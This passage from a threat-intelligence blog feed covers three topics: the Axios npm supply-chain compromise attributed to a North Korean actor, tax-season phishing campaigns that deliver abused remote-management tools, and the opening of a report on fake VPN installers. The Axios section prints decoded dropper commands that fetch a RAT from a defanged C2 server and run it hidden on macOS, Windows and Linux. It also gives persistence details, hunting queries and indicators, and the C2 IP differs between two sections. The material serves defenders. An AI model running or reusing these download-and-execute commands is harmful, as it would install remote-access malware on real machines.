sh -c 'curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s 
hxxp://sfrclak[.]com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && 
/bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &" &> 
/dev/null'

Windows

On Windows, the RAT is identified as a PowerShell: 6202033.ps1.

• SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
• SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

node.exe setup.js                                          ← npm post-install hook
  └─ drops: %TEMP%\6202033.vbs                             ← VBScript stager

On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.

• SHA-256: f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden. 

The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.

The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.

Observed Windows command (as decoded):

"cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" 
"hxxp://sfrclak[.]com:8000/6202033" > 
"C:\Users\\AppData\Local\Temp\6202033.ps1" & 
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file 
"C:\Users\\AppData\Local\Temp\6202033.ps1" 
"hxxp://sfrclak[.]com:8000/6202033" & del 
"C:\Users\\AppData\Local\Temp\6202033.ps1" /f 

Linux/others

On Linux, the RAT is identified as a Python payload: ld.py.

• SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf 

A Python payload is written to /tmp/ld.py and launched detached using nohup python3 … &, suppressing output (> /dev/null 2>&1). 

node setup.js
  └─ /bin/sh -c "curl -o /tmp/ld.py

Setup.js executes a shell one-liner to POST packages.npm.org/product2 to hxxp://sfrclak[.]com:8000/6202033. 

The response is saved as /tmp/ld.py and executed in the background using nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 … &.

/tmp/ld.py remains a key on-disk indicator in typical flows.

Observed Linux/Unix command (as decoded):

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s 
hxxp://sfrclak[.]com:8000/6202033 && nohup python3 /tmp/ld.py 
hxxp://sfrclak[.]com:8000/6202033 > /dev/null 2>&1 &" 

Post-execution defense evasion

After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.

It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.

RAT deployment as covert remote management

The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.

The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.

Who is Sapphire Sleet?

Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.

Mitigation and protection guidance

In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.

What to do now if you’re affected

For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:

• Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
• Use overrides to force pinned versions for transitive dependencies.
• Flush the local cache with “npm cache clean –force“.
• Disable or restrict automated dependency bots for critical packages.
• Adopt Trusted Publishing with OIDC to eliminate stored credentials.
• Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
• Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
• Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
• Rotate all secrets and credentials that are exposed to compromised systems.
• When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
• Remove all Axios files/code from the victim systems and re-install cleanly.

Defending against the Axios supply chain attack

Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.

• Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "dependencies": {
    "axios": "1.14.0"
  }
}
``

• Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:

{
  "overrides": {
    "axios": "1.14.0"
  }
}
``

• Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:

# Dependabot example
ignore:
  - dependency-name: "axios"

• Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
• Assess the potential blast radius from affected endpoints
  • The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets.  This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
  • Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
  • Additional examples and query patterns are available here as well as in the hunting queries section.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Indicators of compromise

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Installed Node.js packages with malicious versions

DeviceTvmSoftwareInventory
| where
    (SoftwareName has "axios" and SoftwareVersion in ("1.14.1.0", "0.30.4.0"))
    or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1.0")

Detect the RAT dropper and subsequent download and execution

CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
    and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')

Connection to known C2

DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"

Curl execution to download the backdoor

DeviceProcessEvents 
| where Timestamp > ago(2d) 
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))   
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python") 
   or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and domain indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)

Microsoft Defender for Cloud

Possibly compromised packages

Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Activity profile: Mitigating the Axios npm supply chain compromise
• Threat profile overview: North Korea state-sponsored activity
• Technique profile: Malicious npm lifecycle scripts
• Actor profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Mitigating the Axios npm supply chain compromise appeared first on Microsoft Security Blog.

During tax season, threat actors reliably take advantage of the urgency and familiarity of time-sensitive emails, including refund notices, payroll forms, filing reminders, and requests from tax professionals, to trick targets into opening malicious attachments, scanning QR codes, or following multi-step link chains. Every year, there is an observable uptick in tax-themed campaigns as Tax Day (April 15) approaches in the United States, and this year is no different.

In recent months, Microsoft Threat Intelligence identified email campaigns using lures around W-2, tax forms, or similar themes, or posing as government tax agencies, tax services firms, and relevant financial institutions. Many campaigns target individuals for personal and financial data theft, but others specifically target accountants and other professionals who handle sensitive documents, have access to financial data, and are accustomed to receiving tax-related emails during this period.

Identified campaigns were designed to harvest credentials or deliver malware. Phishing-as-a-service (PhaaS) platforms continue to be prevalent, enabling highly convincing credential theft and multifactor authentication (MFA) bypass campaigns through tailored tax-themed social engineering lures, attachments, and phishing pages. In cases of malware delivery, we noted a continued trend of abusing legitimate remote monitoring and management tools (RMMs), which allow threat actors to maintain persistence on a compromised device or network, enable an alternative command-and-control method, or, in the case of hands-on-keyboard attacks, use as an interactive remote desktop session.

This blog details several of the campaigns observed by Microsoft Threat Intelligence in the past few months that leveraged the tax season for social engineering. By educating users about phishing lures, configuring essential email security settings, and defending against credential theft, individuals and organizations can defend against both this seasonal surge in phishing attacks and more broadly against many types of phishing attacks that we observe.

A wide range of tax-themed campaigns

CPA lures leading to Energy365 phishing kit

In early February 2026, we observed a campaign that was delivering the Energy365 PhaaS phishing kit and used tax and Certified Public Accountant (CPA) lures throughout the attack chain. This campaign stood out due to its highly specific lure customization, in contrast to other threat actors who use this popular phishing kit but employ generic lures. Other notable characteristics of this campaign include the involvement of multiple file formats such as Excel and OneNote, use of legitimate infrastructure such as OneDrive, and multiple rounds of user interaction, all attempts to complicate automated and reputation-based detection. While this specific campaign was not large, it represents the capabilities of Energy365, one of the leading phishing kits that enables hundreds of thousands of malicious emails observed by Microsoft daily.

Between February 5 and 6, several hundred emails with the subject ”See Tax file” targeted multiple industries including financial services, education, information technology (IT), insurance, and healthcare, primarily in the United States. The Excel attachment had the file name [Accountant’s name] CPA.xlsx, using the name of a real accountant (likely impersonated in this campaign without their knowledge). The attachment contained a clickable “REVIEW DOCUMENTS” button that linked to a OneNote file hosted on OneDrive.

The OneNote file, which continued the ruse by using the same CPA’s name and logo, contained a link leading to a malicious landing page that hosted the Energy365 phishing kit and attempted to harvest credentials such as email and password.

QR code and W2 lure leading to SneakyLog phishing kit

On February 10, 2026, Microsoft Threat Intelligence observed tax-themed phishing emails sent to approximately 100 organizations, in the manufacturing, retail, and healthcare industries primarily in the United States. The emails used the subject “2025 Employee Tax Docs” and contained an attachment named 2025_Employee_W-2  .docx. The attachment had content that mentioned various tax-related terms like Form W-2 and had a QR code pointing to a phishing page.

Each document was customized to contain the recipient’s name, and the URL hidden behind the QR code also contained the recipient’s email address. This means that each recipient received a unique attachment. The phishing page was built with the SneakyLog PhaaS platform and mimicked the Microsoft 365 sign-in page to steal credentials. SneakyLog, which is also known as Kratos, has been around since at least the beginning of 2025. This phishing kit is sold as a part of phishing-as-a-service and is capable of harvesting credentials and 2FA. While not as popular as other platforms like Energy365, SneakyLog has been consistently present in the threat landscape.

Form 1099-themed phishing delivering ScreenConnect

In January and February 2026, Microsoft Threat Intelligence observed sets of tax-themed domains registered, likely to be used in tax-themed phishing campaigns. These domains used keywords such as “tax” and “1099form” and also impersonated specific legitimate companies involved in tax filing, accounting, investing sectors. Brand abuse of legitimate accounting, tax preparation, finance, bookkeeping, and related companies continues to proliferate during tax season.

We observed one of these domains being used in a campaign between February 8 and February 10. Several hundred emails were sent to recipients in a wide range of industries primarily in the United States. The emails used subject lines like “Your Account Now Includes Updated Tax Forms [RF] 1234” or “Your Form 1099-R is ready – [RF] 12123123”. The email body said “2025 Tax Forms is ready” and contained a clickable “View Tax Forms” button that linked to the URL taxationstatments2025[.]com. If clicked, this domain redirected to tax-statments2025[.]com, which in turn served a malware executable named 1099-FR2025.exe.

The payload delivered in this campaign is the remote management and monitoring (RMM) tool ScreenConnect, signed by ConnectWise. The specific code signing certificate has since been revoked by the issuer due to high abuse. ScreenConnect is a legitimate tool, but threat actors have learned to abuse RMM functionality and essentially turn legitimate tools into remote access trojans (RATs), helping them take control of compromised devices.

IRS and cryptocurrency-themed phishing delivering SimpleHelp

Another notable campaign combined the impersonation of the US Internal Revenue Service (IRS) with a cryptocurrency lure. Notably, this campaign attempted to evade detection by not including a clickable link, but instead asked recipients to copy and paste a URL, which was in the email body, into the browser.

This campaign was sent on February 23 and 27, and it consisted of several thousands of emails sent to recipients exclusively in the United States. The emails targeted many industries, with the bulk of email sent to higher education. The emails used the subject “IR-2026-216” and abused online platform Eventbrite to masquerade as coming from the IRS:

• “IRS US”<noreply@campaign[.]eventbrite[.]com>
• “IRS GOV”<noreply@campaign[.]eventbrite[.]com>
• “Service”<noreply@campaign[.]eventbrite[.]com>
• “IRS TAX”<noreply@campaign[.]eventbrite[.]com>
• “.IRS.GOV”<noreply@campaign[.]eventbrite[.]com>

The email body said “Cryptocurrency Tax Form 1099 is Ready” and contained a non-clickable URL with the domain irs-doc[.]com or gov-irs216[.]net. If pasted in the browser, the URL led to the download of IRS-doc.msi, which was either the RMM tool ScreenConnect or SimpleHelp, depending on the day of the campaign. SimpleHelp is another legitimate remote monitoring and management tool abused by threat actors. While not as popular as ScreenConnect, threat actors have been increasingly adopting SimpleHelp due to the recent crackdown on abuse of ScreenConnect by ConnectWise.

Campaign targeting CPAs and delivering Datto

Like in previous tax seasons, Microsoft Threat Intelligence observed email campaigns specifically targeting accountants and related organizations. A variant of this campaign is a well-known and documented technique that uses benign conversation starters. The threat actor reaches out asking for assistance in filing taxes, asking for a quote, and typically providing a backstory. If the actor receives a reply, they send a malicious link that leads to the installation of various RATs. However, Microsoft Threat Intelligence also observed campaigns targeting CPAs that contain a similar backstory but include the malicious link in the first email.

One such campaign was sent on March 9 and consisted of approximately 1,000 emails sent to users exclusively in the United States. The emails targeted multiple accounting companies but also included a few related industries such as financial services, legal, and insurance. The emails used the subject “REQUEST FOR PROFESSIONAL TAX FILLING”.

The email provided a backstory that included a description of a complex tax return situation involving tax audit, university tuition, loan interest, and real estate income. The sender also attempted to explain their inability to physically visit the office due to travel. Finally, the sender asked for a price quote. We observed variations of the backstory on different days, including switching CPAs due to fee increases.

The link in email used the free site hosting service carrd[.]co. The site contained a simple “VIEW DOCUMENTS” button that linked to a URL shortener service, which redirected users to private-adobe-client[.]im. This uncomplicated redirection chain served to hinder automated detection by using legitimate sites with good reputation and involving user interaction. The final landing page served an executable related to the Datto. Datto is yet another legitimate remote monitoring and management tool, abused by threat actors.

IRS-themed campaign targeting accounting professionals and dropping ScreenConnect

On February 10, 2026, Microsoft Threat Intelligence observed a large-scale phishing campaign sent to more than 29,000 users across 10,000 organizations, almost exclusively focused on targets in the United States (95% of targets). The campaign did not concentrate on any single sector but instead included a wide set of industries, with financial services (19%), technology and software (18%), and retail and consumer goods (15%) being the most commonly targeted.

While the campaign did not seem to have been targeting a specific industry, an analysis of intended recipients indicated that the campaign was targeting specific roles, particularly accountants and tax preparers. Messages in the campaign were sent in two waves over a nine‑hour window between 10:35 UTC and 19:51 UTC.  

The emails impersonated the IRS, claiming that potentially irregular tax returns had been filed under the recipient’s Electronic Filing Identification Number (EFIN). Recipients were instructed to review these returns by downloading a purportedly legitimate “IRS Transcript Viewer.”

The emails were sent through Amazon Simple Email Service (SES) from one of two sender addresses on edud[.]site, a domain registered in August 2025. To enhance credibility, the sender display name rotated among the following 14 IRS‑themed identities:

• IRS e-File Services
• IRS EFIN Team
• IRS EFIN Compliance
• IRS e-Services
• IRS E-File Operations
• IRS Filing Review
• IRS Filing Support
• IRS EFIN Support
• IRS e-Services Team
• IRS e-File Support
• IRS EFIN Review
• IRS e-File Compliance
• IRS e-Services Support
• IRS Practitioner e-Services

Similarly, the subject lines used in the campaign also rotated, presumably to try and circumvent detection systems that rely on static text signatures. The most common among the 49 email subjects we observed in this campaign include:

• IRS Request Transcript Review
• IRS Notice Firm Return Review
• CPA Compliance Review
• IRS Support Firm Filing Review
• Review Requested Compliance

The emails contained a “Download IRS Transcript View 5.1” button, which purported to lead to a legitimate IRS application that could be used to review the transcript referenced in the email. Instead, the link pointed to an Amazon SES click‑tracking URL (awstrack[.]me), which then redirected to smartvault[.]im, a malicious look‑alike domain mimicking SmartVault, a well‑known tax and document‑management service used by accounting professionals. To evade automated analysis, the phishing site used Cloudflare for bot detection and blocking. Only visitors who resembled human users would be able to reach the final phishing payload, while traffic from crawlers and sandboxes would result in a block page.

Users who passed the bot check would be shown a fake “verification” animation that indicated the IRS website was conducting an automated check to verify the connection with IRS provider services. After this animation, a user would be shown a page indicating that the supposed transcript viewer application would start downloading automatically before being redirected to the legitimate IRS provider services webpage. The downloaded file, named TranscriptViewer5.1.exe, was not a legitimate IRS tool but a maliciously repackaged ScreenConnect remote access tool (RAT). Upon execution, this payload could grant attackers remote control of the victim system, enabling data theft, credential harvesting, and further post‑exploitation activity.

How to protect users and organization against tax-themed campaigns

To defend against social engineering campaigns that leverage the surge in email activity during Tax Season, Microsoft recommends the following mitigation measures:

• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Enforce multifactor authentication (MFA) on all accounts, remove users excluded from MFA, and strictly require MFA from all devices in all locations at all times.
• Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
• Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Enable Zero-hour auto purge (ZAP) in Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Configure Microsoft Defender for Office 365 Safe Links to recheck links on click. Safe Links provides URL scanning and rewriting of inbound email messages in mail flow and time-of-click verification of URLs and links in email messages, other Microsoft Office applications such as Teams, and other locations such as SharePoint Online. Safe Links scanning occurs in addition to the regular anti-spam and anti-malware protection in inbound email messages in Microsoft Exchange Online Protection (EOP). Safe Links scanning can help protect your organization from malicious links that are used in phishing and other attacks.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers like Microsoft Edge that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Threat Overview Profile: On-premises credential theft
• Technique Profile: Abuse of remote monitoring and management tools

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Find email messages related to known domains

The following query checks domains in Defender XDR email data:

EmailUrlInfo  
| where UrlDomain has_any ("taxationstatments2025.com", "irs-doc.com", "gov-irs216.net", "private-adobe-client.im", "edud.site", "smartvault.im")

Detect file hash indicators in email data

The following query checks hashes related to identified phishing activity in Defender XDR data:

let File_Hashes_SHA256 = dynamic([
"45b6b4db1be6698c29ffde9daeb8ffaa344b687d3badded2f8c68c922cdce6e0", "d422f6f5310af1e72f6113a2a592916f58e3871c58d0e46f058d4b669a3a0fd8"]);
DeviceFileEvents
| where SHA256 has_any (File_Hashes_SHA256)

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

The following queries use Sentinel Advanced Security Information Model (ASIM) functions to hunt threats across both Microsoft first-party and third-party data sources. ASIM also supports deploying parsers to specific workspaces from GitHub, using an ARM template or manually.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_domains = dynamic(["taxationstatments2025.com", "irs-doc.com", "gov-irs216.net", "private-adobe-client.im"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect Web Sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["45b6b4db1be6698c29ffde9daeb8ffaa344b687d3badded2f8c68c922cdce6e0"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["taxationstatments2025.com", "irs-doc.com", "gov-irs216.net", "private-adobe-client.im"]);
_Im_WebSession (url_has_any = ioc_domains)

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["45b6b4db1be6698c29ffde9daeb8ffaa344b687d3badded2f8c68c922cdce6e0"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threuat Intelligence podcast.

The post When tax season becomes cyberattack season: Phishing and malware campaigns using tax-related lures appeared first on Microsoft Security Blog.

In mid-January 2026, Microsoft Defender Experts identified a credential theft campaign that uses fake virtual private network (VPN) clients distributed through search engine optimization (SEO) poisoning. The campaign redirects users searching for legitimate enterprise software to malicious ZIP files on attacker-controlled websites to deploy digitally signed trojans that masquerade as trusted VPN clients while harvesting VPN credentials. Microsoft Threat Intelligence attributes this activity to the cybercriminal threat actor Storm-2561.

Active since May 2025, Storm-2561 is known for distributing malware through SEO poisoning and impersonating popular software vendors. The techniques they used in this campaign highlight how threat actors continue to exploit trusted platforms and software branding to avoid user suspicion and steal sensitive information. By targeting users who are actively searching for enterprise VPN software, attackers take advantage of both user urgency and implicit trust in search engine rankings. The malicious ZIP files that contain fake installer files are hosted on GitHub repositories, which have since been taken down. Additionally, the trojans are digitally signed by a legitimate certificate that has since been revoked.

In this blog, we share our in-depth analysis of the tactics, techniques, and procedures (TTPs) and indicators of compromise in this Storm-2561 campaign, highlighting the social engineering techniques that the threat actor used to improve perceived legitimacy, avoid suspicion, and evade detection. We also share protection and mitigation recommendations, as well as Microsoft Defender detection and hunting guidance.

From search to stolen credentials: Storm-2561 attack chain

In this campaign, users searching for legitimate VPN software are redirected from search results to spoofed websites that closely mimic trusted VPN products but instead deploy malware designed to harvest credentials and VPN data. When users click to download the software, they are redirected to a malicious GitHub repository (no longer available) that hosts the fake VPN client for direct download.

The GitHub repo hosts a ZIP file containing a Microsoft Windows Installer (MSI) installer file that mimics a legitimate VPN software and side-loads malicious dynamic link library (DLL) files during installation. The fake VPN software enables credential collection and exfiltration while appearing like a benign VPN client application.

This campaign exhibits characteristics consistent with financially motivated cybercrime operations employed by Storm-2561. The malicious components are digitally signed by “Taiyuan Lihua Near Information Technology Co., Ltd.”

